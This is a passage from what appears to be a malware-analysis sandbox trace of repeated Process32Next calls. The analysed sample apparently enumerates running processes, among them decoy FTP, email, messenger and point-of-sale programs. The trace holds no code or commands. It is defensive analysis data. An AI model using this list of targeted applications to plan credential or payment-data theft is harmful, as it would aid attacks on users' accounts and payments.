dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.030] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0239.032] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0239.034] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0239.035] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.037] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.039] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0239.042] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.045] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.059] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.062] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.064] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.067] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.070] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.075] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0239.078] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0239.081] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0239.083] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.086] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0239.088] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0239.091] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0239.094] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0239.097] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0239.141] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0239.145] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0239.147] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.150] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0239.152] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0239.155] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0239.158] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.160] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0239.163] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0239.165] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0239.167] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0239.170] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0239.172] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0239.174] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0239.176] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0239.179] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0239.181] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0239.183] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0239.185] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0239.188] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0239.190] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0239.192] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0239.197] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0239.199] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0239.202] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0239.263] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0239.266] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0239.269] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0239.271] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0239.274] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0239.277] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0239.281] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0239.284] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0239.288] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0239.292] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0239.295] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0239.298] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0239.302] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0239.306] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0239.308] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0239.355] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0239.358] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0239.360] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0239.362] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0239.364] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0239.368] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0239.371] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0239.374] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0239.377] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0239.379] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0239.382] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0239.384] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0239.387] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0239.389] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0239.392] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0239.394] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0239.396] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0239.399] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0239.401] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0239.403] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0239.405] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0239.406] Process32Next (in: hSnapshot=0x21ec, 